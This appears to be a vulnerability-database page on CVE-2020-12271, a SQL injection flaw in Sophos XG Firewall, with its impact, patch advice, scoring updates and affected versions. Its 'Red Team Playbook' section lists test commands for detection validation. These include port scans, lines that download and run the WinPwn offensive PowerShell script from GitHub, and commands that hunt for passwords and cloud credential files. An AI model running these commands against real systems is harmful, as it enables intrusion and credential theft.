CVE-2020-12271
Overview
This vulnerability is a SQL injection flaw rooted in improper sanitization of user-supplied input within the administration (HTTPS) and User Portal services on Sophos XG Firewall devices. The injection occurs in the backend database query construction, enabling manipulation of SQL commands. Affected components include SFOS versions 17.0, 17.1, 17.5, and 18.0 prior to April 25, 2020, specifically when these services are exposed on the WAN zone.
Vulnerability Description
A SQL injection issue was found in SFOS 17.0, 17.1, 17.5, and 18.0 before 2020-04-25 on Sophos XG Firewall devices, as exploited in the wild in April 2020. This affected devices configured with either the administration (HTTPS) service or the User Portal exposed on the WAN zone. A successful attack may have caused remote code execution that exfiltrated usernames and hashed passwords for the local device admin(s), portal admins, and user accounts used for remote access (but not external Active Directory or LDAP passwords)
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary SQL commands on the backend database, leading to disclosure of usernames and hashed passwords for local device administrators, portal administrators, and remote access user accounts. This can result in unauthorized access to sensitive credentials and potential full system compromise through subsequent privilege escalation. The attack requires the administration or User Portal services to be exposed on the WAN interface, enabling exploitation without user interaction or valid credentials. The business impact includes data breach, loss of administrative control, and potential lateral movement within the network.
Solution
Sophos released security updates addressing this SQL injection vulnerability in SFOS versions 17.0, 17.1, 17.5, and 18.0 as of April 25, 2020. Administrators should upgrade affected Sophos XG Firewall devices to the patched versions referenced in Sophos advisory KB article 135412 (https://community.sophos.com/kb/en-us/135412). The vendor’s official guidance includes applying these updates promptly and restricting exposure of the administration and User Portal services to trusted networks only.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical SQL injection vulnerability has been identified in specific versions of Sophos XG Firewall devices, particularly affecting the SFOS 17.0, 17.1, 17.5, and 18.0 releases prior to April 25, 2020. This flaw arises from improper validation of user inputs, allowing attackers to manipulate SQL queries executed by the firewall's administration and User Portal services. When these services are exposed to the WAN zone, an attacker can craft malicious requests that exploit this weakness, leading to unauthorized access to sensitive information stored within the device's database. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk to affected systems.
The primary attack vector for this vulnerability is through the WAN interface, where the administration and User Portal services are exposed. An attacker can leverage tools to send specially crafted HTTP requests that exploit the SQL injection flaw. Successful exploitation can lead to remote code execution, enabling the attacker to extract critical data such as usernames and hashed passwords for local device administrators, portal administrators, and user accounts designated for remote access. This scenario presents a significant risk, as it not only compromises the integrity of the firewall but also potentially allows for lateral movement within the network, leading to further exploitation of connected systems.
The real-world impact of this vulnerability is profound, particularly for organizations relying on Sophos XG Firewall devices for network security. Successful exploitation can lead to unauthorized access to sensitive administrative accounts, which could facilitate further attacks such as data breaches, ransomware deployment, or the establishment of persistent backdoors. The exfiltration of hashed passwords poses a risk of credential cracking, especially if users employ weak passwords. Consequently, businesses may face severe reputational damage, regulatory penalties, and financial losses stemming from data breaches or service disruptions.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firewall firmware to the latest versions is crucial, as vendors often release patches that address known vulnerabilities. Network segmentation can also reduce exposure by limiting access to administrative interfaces, ensuring that only trusted internal networks can reach these services. Additionally, employing web application firewalls (WAFs) can help filter out malicious traffic before it reaches the vulnerable services. Regular security audits and vulnerability assessments should be conducted to identify and remediate any potential weaknesses in the network infrastructure.
In conclusion, the SQL injection vulnerability in Sophos XG Firewall devices presents a significant threat to organizations that have not taken adequate steps to secure their systems. The potential for remote code execution and the exfiltration of sensitive credentials underscores the importance of proactive security measures. By staying informed about vulnerabilities, applying timely patches, and employing robust security practices, organizations can mitigate the risks associated with this and similar vulnerabilities, thereby strengthening their overall cybersecurity posture.
CVE-2020-12271 has been newly incorporated into the CISA Known Exploited Vulnerabilities (KEV) catalog, reflecting its elevated priority for remediation by federal agencies and critical infrastructure sectors. This formal recognition coincides with the assignment of a high CVSS score of 9.8, a substantial revision from the previous unscored status, signaling the vulnerability’s critical impact and exploitability. Additionally, the Exploit Prediction Scoring System (EPSS) now registers a significant score near 0.89, indicating a high likelihood of exploitation attempts in the near term. Although no new exploit techniques or campaigns have been detected by our telemetry, the KEV listing and EPSS elevation underscore an increased risk posture. The known association with ransomware actors further amplifies the urgency, as adversaries may leverage this SQL injection flaw to gain unauthorized access and execute payloads that facilitate lateral movement and data exfiltration. Consequently, the threat level for organizations running affected Sophos XG Firewall versions has risen, warranting heightened vigilance despite the absence of fresh exploit activity. This update highlights the importance of prioritizing this vulnerability within risk management frameworks due to its proven exploitation in the wild and its potential to enable severe operational disruption.
Update 2 — May 20, 2026
The CVSS score adjustment from 9.8 to a perfect 10.0 reflects a refined consensus on the criticality of CVE-2020-12271, underscoring its potential for complete system compromise through remote code execution. Although the EPSS score shows a slight decline, remaining in the highest percentile, this suggests a modest reduction in active exploitation attempts rather than diminished severity. CSURFACE threat intelligence indicates no emergence of new exploit variants or expanded attack vectors since the last assessment. However, the vulnerability’s known association with ransomware groups continues to elevate its operational risk, as adversaries may still leverage this flaw to gain persistent footholds and exfiltrate sensitive credentials. This recalibration in scoring reinforces the imperative for defenders to maintain heightened alertness and prioritize monitoring on affected Sophos XG Firewall deployments, as the threat landscape remains volatile despite the absence of recent exploit surges.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Sophos | Sfos | 17.0 |
cpe:2.3:o:sophos:sfos:17.0:*:*:*:*:*:*:*
|
|
|
Sophos | Sfos | 17.1 |
cpe:2.3:o:sophos:sfos:17.1:*:*:*:*:*:*:*
|
|
|
Sophos | Sfos | 17.5 |
cpe:2.3:o:sophos:sfos:17.5:*:*:*:*:*:*:*
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|
|
Sophos | Sfos | 18.0 |
cpe:2.3:o:sophos:sfos:18.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-12271 |
| cwe.mitre.org |
GitHub CVE
x_refsource_MISC
|
https://cwe.mitre.org/data/definitions/89.html |
| community.sophos.com |
GitHub CVE
x_refsource_MISC
|
https://community.sophos.com/kb/en-us/135412 |
| news.sophos.com |
GitHub CVE
x_refsource_MISC
|
https://news.sophos.com/en-us/2020/04/26/asnarok/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-12271 |